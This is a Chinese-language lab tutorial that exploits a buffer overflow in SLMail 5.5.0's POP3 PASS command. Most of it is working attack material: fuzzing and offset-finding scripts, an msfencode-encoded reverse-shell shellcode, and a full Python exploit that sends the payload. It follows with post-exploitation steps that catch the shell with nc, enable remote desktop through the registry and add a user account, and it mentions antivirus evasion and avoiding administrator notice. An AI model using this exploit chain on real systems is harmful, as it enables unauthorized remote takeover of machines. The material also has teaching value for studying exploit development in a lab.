    “\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6”
    “\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09”
    “\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68”
    “\xc0\xa8\xc7\x70\x66\x68\x01\xbc\x66\x53\x89\xe1\x95\x68\xec\xf9”
    “\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68”
    “\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3”
    “\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab”
    “\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51”
    “\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6”
    “\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6”
    “\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0”;
    因为该shellcode不能存在坏字符,所以我们需要对坏字符进行过滤。
    ./msfencode -b【编码工具,可将病毒的特征字符编得面目全非,一定程度上可以实现免杀】
    root@kali:/usr/share/framework2# ./msfpayload win32_reverse LHOST=192.168.199.112 LPORT=444 C | ./msfencode -b “\x00\x0a\x0d”
    root@kali:/usr/share/framework2# ./msfpayload win32_reverse LHOST=192.168.199.112 LPORT=444 R | ./msfencode -b “\x00\x0a\x0d”
    [*] Using Msf::Encoder::PexFnstenvMov with final size of 310 bytes
    “\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xeb\xa3\x98”.
    “\x39\x83\xeb\xfc\xe2\xf4\x17\xc9\x73\x74\x03\x5a\x67\xc6\x14\xc3”.
    “\x13\x55\xcf\x87\x13\x7c\xd7\x28\xe4\x3c\x93\xa2\x77\xb2\xa4\xbb”.
    “\x13\x66\xcb\xa2\x73\x70\x60\x97\x13\x38\x05\x92\x58\xa0\x47\x27”.
    “\x58\x4d\xec\x62\x52\x34\xea\x61\x73\xcd\xd0\xf7\xbc\x11\x9e\x46”.
    “\x13\x66\xcf\xa2\x73\x5f\x60\xaf\xd3\xb2\xb4\xbf\x99\xd2\xe8\x8f”.
    “\x13\xb0\x87\x87\x84\x58\x28\x92\x43\x5d\x60\xe0\xa8\xb2\xab\xaf”.
    “\x13\x49\xf7\x0e\x13\x79\xe3\xfd\xf0\xb7\xa5\xad\x74\x69\x14\x75”.
    “\xfe\x6a\x8d\xcb\xab\x0b\x83\xd4\xeb\x0b\xb4\xf7\x67\xe9\x83\x68”.
    “\x75\xc5\xd0\xf3\x67\xef\xb4\x2a\x7d\x5f\x6a\x4e\x90\x3b\xbe\xc9”.
    “\x9a\xc6\x3b\xcb\x41\x30\x1e\x0e\xcf\xc6\x3d\xf0\xcb\x6a\xb8\xe0”.
    “\xcb\x7a\xb8\x5c\x48\x51\x2b\x0b\x5f\x49\x8d\xcb\x99\x85\x8d\xf0”.
    “\x11\xd8\x7e\xcb\x74\xc0\x41\xc3\xcf\xc6\x3d\xc9\x88\x68\xbe\x5c”.
    “\x48\x5f\x81\xc7\xfe\x51\x88\xce\xf2\x69\xb2\x8a\x54\xb0\x0c\xc9”.
    “\xdc\xb0\x09\x92\x58\xca\x41\x36\x11\xc4\x15\xe1\xb5\xc7\xa9\x8f”.
    “\x15\x43\xd3\x08\x33\x92\x83\xd1\x66\x8a\xfd\x5c\xed\x11\x14\x75”.
    “\xc3\x6e\xb9\xf2\xc9\x68\x81\xa2\xc9\x68\xbe\xf2\x67\xe9\x83\x0e”.
    “\x41\x3c\x25\xf0\x67\xef\x81\x5c\x67\x0e\x14\x73\xf0\xde\x92\x65”.
    “\xe1\xc6\x9e\xa7\x67\xef\x14\xd4\x64\xc6\x3b\xcb\x68\xb3\xef\xfc”.
    “\xcb\xc6\x3d\x5c\x48\x39”;
    09.py【“0x90”表示无操作,防止shellcode前部分代码被擦除】
    #!/usr/bin/python
    import socket
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    shellcode = (
    “\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xeb\xa3\x98″+
    “\x39\x83\xeb\xfc\xe2\xf4\x17\xc9\x73\x74\x03\x5a\x67\xc6\x14\xc3″+
    “\x13\x55\xcf\x87\x13\x7c\xd7\x28\xe4\x3c\x93\xa2\x77\xb2\xa4\xbb”+
    “\x13\x66\xcb\xa2\x73\x70\x60\x97\x13\x38\x05\x92\x58\xa0\x47\x27″+
    “\x58\x4d\xec\x62\x52\x34\xea\x61\x73\xcd\xd0\xf7\xbc\x11\x9e\x46″+
    “\x13\x66\xcf\xa2\x73\x5f\x60\xaf\xd3\xb2\xb4\xbf\x99\xd2\xe8\x8f”+
    “\x13\xb0\x87\x87\x84\x58\x28\x92\x43\x5d\x60\xe0\xa8\xb2\xab\xaf”+
    “\x13\x49\xf7\x0e\x13\x79\xe3\xfd\xf0\xb7\xa5\xad\x74\x69\x14\x75″+
    “\xfe\x6a\x8d\xcb\xab\x0b\x83\xd4\xeb\x0b\xb4\xf7\x67\xe9\x83\x68″+
    “\x75\xc5\xd0\xf3\x67\xef\xb4\x2a\x7d\x5f\x6a\x4e\x90\x3b\xbe\xc9″+
    “\x9a\xc6\x3b\xcb\x41\x30\x1e\x0e\xcf\xc6\x3d\xf0\xcb\x6a\xb8\xe0″+
    “\xcb\x7a\xb8\x5c\x48\x51\x2b\x0b\x5f\x49\x8d\xcb\x99\x85\x8d\xf0″+
    “\x11\xd8\x7e\xcb\x74\xc0\x41\xc3\xcf\xc6\x3d\xc9\x88\x68\xbe\x5c”+
    “\x48\x5f\x81\xc7\xfe\x51\x88\xce\xf2\x69\xb2\x8a\x54\xb0\x0c\xc9″+
    “\xdc\xb0\x09\x92\x58\xca\x41\x36\x11\xc4\x15\xe1\xb5\xc7\xa9\x8f”+
    “\x15\x43\xd3\x08\x33\x92\x83\xd1\x66\x8a\xfd\x5c\xed\x11\x14\x75″+
    “\xc3\x6e\xb9\xf2\xc9\x68\x81\xa2\xc9\x68\xbe\xf2\x67\xe9\x83\x0e”+
    “\x41\x3c\x25\xf0\x67\xef\x81\x5c\x67\x0e\x14\x73\xf0\xde\x92\x65″+
    “\xe1\xc6\x9e\xa7\x67\xef\x14\xd4\x64\xc6\x3b\xcb\x68\xb3\xef\xfc”+
    “\xcb\xc6\x3d\x5c\x48\x39”)
    buffer = ‘A’ * 2606 + “\xe3\x41\x4b\x5f” + “\x90” * 8 + shellcode
    try:
    print “\nSending evil buffer…”
    s.connect((“192.168.199.199”,110))
    data = s.recv(1024)
    s.send(“USER test”+”\r\n”)
    data = s.recv(1024)
    s.send(“PASS “+buffer+”\r\n”)
    s.close()
    print “\nDone!.”
    except:
    print “Could not connect to POP3!”
    本地侦听 nc -nvlp 444
    发送shellcode,成功接收到回连的shell
    ##可完美地重复连接,但有些shellcode执行结束会以exitprocess方式退出整个进程,将导致邮件服务奔溃,会引起管理员注意,不过新版本的metasploit已经进行优化。
    ##因Slmail是一个基于线程的应用,使用ExitThread方式可以避免整个服务崩溃,可是实现重复溢出
    ./msfpayload win32_reverse LHOST=192.168.1.127 EXITFUNC=thread LPORT=444 R | ./msfencode -b “\x00\x0a\x0d”
    ############################################################################################
    对命令行模式的getshell不适应,可进入图形化界面
    1、在此基础上ftp下载一个图形化木马管理程序
    2、使用RDP打开windows系统的远程桌面【可通过修改注册表键值】
    cmd命令行下开启3389
    C:\>echo Windows Registry Editor Version 5.00>3389.reg
    C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
    C:\>echo “fDenyTSConnections”=dword:00000000>>3389.reg
    C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
    C:\>echo “PortNumber”=dword:00000d3d>>3389.reg
    C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
    C:\>echo “PortNumber”=dword:00000d3d>>3389.reg
    C:\>regedit /s 3389.reg
    C:\>shutdown -r now
    ##在kali上安装远程桌面
    apt-get install rdesktop
    rdesktop 192.168.199.199
    ####
    可在命令行窗口模式下修改用户密码,或增加用户和密码获得管理权限
    net user test pass /ad
    打开防火墙的3389端口,也可以用修改注册表来实现【windows系统下几乎所有操作都可用修改注册表来实现】
    ##可使用regsnap【进行注册表实现现状快照,可通过比较修改注册表前后键值变化,找出具体目标,动作需快速】
    在xp下安装ptp
    运行—appwiz.ctl—添加删除windows组件
    交互式shell
    nc获得的是非交互性shell,ftp无法执行
    使用tftp
    展开全文
  • 缓冲区溢出:当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被填满从而覆盖了相邻内存区域的数据。可以修改内存数据,造成进程劫持,执行恶意代码,获取服务器控制权限等。 在...
    一、基本概念
    缓冲区溢出:当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被填满从而覆盖了相邻内存区域的数据。可以修改内存数据,造成进程劫持,执行恶意代码,获取服务器控制权限等。
     
    在Windows XP或2k3 server中的SLMail 5.5.0 Mail Server程序的POP3 PASS命令存在缓冲区溢出漏洞,无需身份验证实现远程代码执行。
     
    注意,Win7以上系统的防范机制可有效防止该缓冲区漏洞的利用:
    DEP:阻止代码从数据页被执行;
    ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化。
     
    二、实验环境准备:
    SLMail 5.5.0 Mail Server
    ImmunityDebugger_1_85_setup.exe
    mona.py
     
    下载地址:
    mona手册
     
    实验环境:xp
    关闭防火墙
     
    1.安装SLMail 5.5.0邮件服务器
     
     
     
     
     
    将本地账户导入邮件服务器
    安装好环境之后,确认SLMail的端口是否正常开启:25 pop3端口,180 web管理端口。
    services.msc 查看邮件相关服务。
    2.邮件服务安装成功后,接下来安装调试工具 ImmunityDebugger
    软件会自动安装python2.7环境
    打开Immunity Debugger所在目录
    C:\Program Files\Immunity Inc\Immunity Debugger
    将mona.py复制到PyCommands目录下,
    C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
     
    三、实验内容
    SLMail 5.5.0 Mail Server
    POP3 PASS 命令存在缓冲区溢出漏洞
    无需身份验证实现远程代码执行
    win7之后windows的安全防护机制
    DEP:阻止代码从数据页被执行
    ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
     
    使用nc验证端口连接是否正常,并且可执行pop3的一些指令
    nc 192.168.199.199 25
    nc 192.168.199.199 110
    测试 PASS 命令接收到大量数据时是否会溢出
    EIP 寄存器:存放下一条指令的地址
    pop3邮件服务侦听的端口是110,进程ID是636.
    使用Immunity Debugger
    file---attach---选中pid号为636的进程---attach调用
    开始监控程序运行状态
    利用原理:“PASS”命令后,当一些特殊定制的命令输入,会造成缓冲区溢出,上传shellcode,可控制目标系统,则不需要经过身份验证,获得权限
     
    一、测试哪个命令会出现缓冲区溢出
    注:如何了解应用/协议能接受的固定指令:1、Wireshark 2、RFC【必须理解系统底层和协议底层】
    01.py 最简单的功能实现
    #!/usr/bin/python
     
    import socket
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     
    try:
    print "\nSending evil buffer..."
    s.connect(("192.168.199.199",110))
    data = s.recv(1024)
    print data
     
    s.send("USER Xuan"+"\r\n")
    data = s.recv(1024)
    print data
     
    s.send("PASS test\r\n")
    data = s.recv(1024)
    print data
     
    s.close()
    print "\nDone"
     
    except:
    print "Could not connect to POP3!"
     
     
    02.py【不断增大发送量,通过Debug确定是否会溢出】【若发送数目很大,还没溢出,则可放弃】
    # 大概确定范围
    #!/usr/bin/python
     
    import socket
     
    buffer=["A"]
    counter=100
    while len(buffer) <= 50:
    buffer.append("A"*counter)
    counter=counter+200
     
    for string in buffer:
    print "Fuzzing PASS with %s bytes" % len(string)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect(("192.168.199.199",110))
    s.recv(1024)
    s.send("USER test"+"\r\n")
    s.recv(1024)
    s.send("PASS "+string+"\r\n")
    s.send("QUIT\r\n")
    s.close()
     
     
    EIP中的41是十六进制数,转换为字母就是A,也就是说此时EIP寄存器全部填满了A,ESP寄存器也被填满了A,每四个字节为一个存储单元进行存储,
    EIP就是当前邮件服务器SLmail下一个需要执行的指令的内存地址,所发送的A把下一条指令的内存地址给覆盖了,发生了缓冲区溢出。此时cpu会到EIP所在的内存地址中寻找指令代码,而该指令内存已被A全部覆盖,此时程序就会奔溃无法继续运行。
    漏洞利用:可以用shellcode填充EIP寄存器地址,这样就可能控制目标机器。
    注:每次实验完都会导致邮件服务奔溃,因此需要每次实验前都需要重新启动SLmail服务。
    # 通过调试工具查看是否异常?【静态调试(汇编)、动态调试(正在运行的进程:attach)】
    110端口【SLmail】:netstat -nao【查看系统进程的PID和端口等信息】
    # 重点关注寄存器
    # ESP:当ESP中输入数据过多,将会把EIP的内存地址覆盖
    # EIP:下一跳指令的内存地址,若下一跳指令被修改,则可执行某一地址空间,运行shellcode
     
    03.py 【手动尝试,找到溢出范围】
    2700个字符实现 EIP 寄存器溢出
    找到精确溢出的 4 个字节
    #!/usr/bin/python
    import socket
     
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    buffer = 'A' * 2700
     
    try:
    print "\nSending evil buffer..."
    s.connect(("192.168.199.199",110))
    data = s.recv(1024)
    s.send("USER test"+"\r\n")
    data = s.recv(1024)
    s.send("PASS "+buffer+"\r\n")
    print "\nDone!."
    except:
    print "Could not connect to POP3!"
    使用2700个字符去填充,此时程序已经奔溃,但是EIP寄存器已被我们设定的A填充满。
     
    使用2600个字符去填充,此时虽然程序已经奔溃,但是EIP寄存器并未被我们设定的A填充满。
    说明导致寄存器溢出的字符在2600到2700之间。
    04.py 精确定位【二分法或唯一字符串法】
    找出精确溢出的4个字节
    通常找出精确字节的方法有如下两种:
    1、二分查找法
    2、唯一字串法:
     
    这里为了方便便使用唯一字符串法,其可在Kali Linux的/usr/share/metasploit-framework/tools/exploit/pattern_create.rb脚本中可以生成唯一字符串:
    cd /usr/share/metasploit-framework/tools/exploit
    查看可选参数
    ./pattern_create.rb -h
    Usage: msf-pattern_create [options]
    Example: msf-pattern_create -l 50 -s ABC,def,123
    Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf
    Options:
    -l, --length <length> The length of the pattern
    -s, --sets <ABC,def,123> Custom Pattern Sets
    -h, --help Show this message
    root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb -l 2700
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9
     
    生成2700个每四个字符为一组的唯一字符串,使用kali中metasploit脚本工具
    # 将这2700个字符添加进04.py脚本中,作为buffer的参数
    04.py
    #!/usr/bin/python
    import socket
     
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9'
     
    try:
    print "\nSending evil buffer..."
    s.connect(("192.168.199.199",110))
    data = s.recv(1024)
    s.send("USER test"+"\r\n")
    data = s.recv(1024)
    s.send("PASS "+buffer+"\r\n")
    print "\nDone!."
    except:
    print "Could not connect to POP3!"
     
     
    # EIP:39694438
    # 因为在内存中数据的读写顺序与人类读写顺序相反,则此ASCII码应为38 44 69 39
    根据ASCII码表可得此4个字符为8Di9
     
    # 计算偏移量,计算【39694438】在2700个字符中的具体位置。
    cd /usr/share/metasploit-framework/tools/exploit/
    同样先来查看需要设置的参数,偏移量使用-q参数
    root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -h
    Usage: msf-pattern_offset [options]
    Example: msf-pattern_offset -q Aa3A
    [*] Exact match at offset 9
    Options:
    -q, --query Aa0A Query to Locate
    -l, --length <length> The length of the pattern
    -s, --sets <ABC,def,123> Custom Pattern Sets
    -h, --help Show this message
    root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -q 39694438
    [*] Exact match at offset 2606 精确的匹配出来偏移量是2606,也就是它前面有2606个字符,即8Di9中的8是第2607个字符。
     
    05.py 确认是否真为此位置
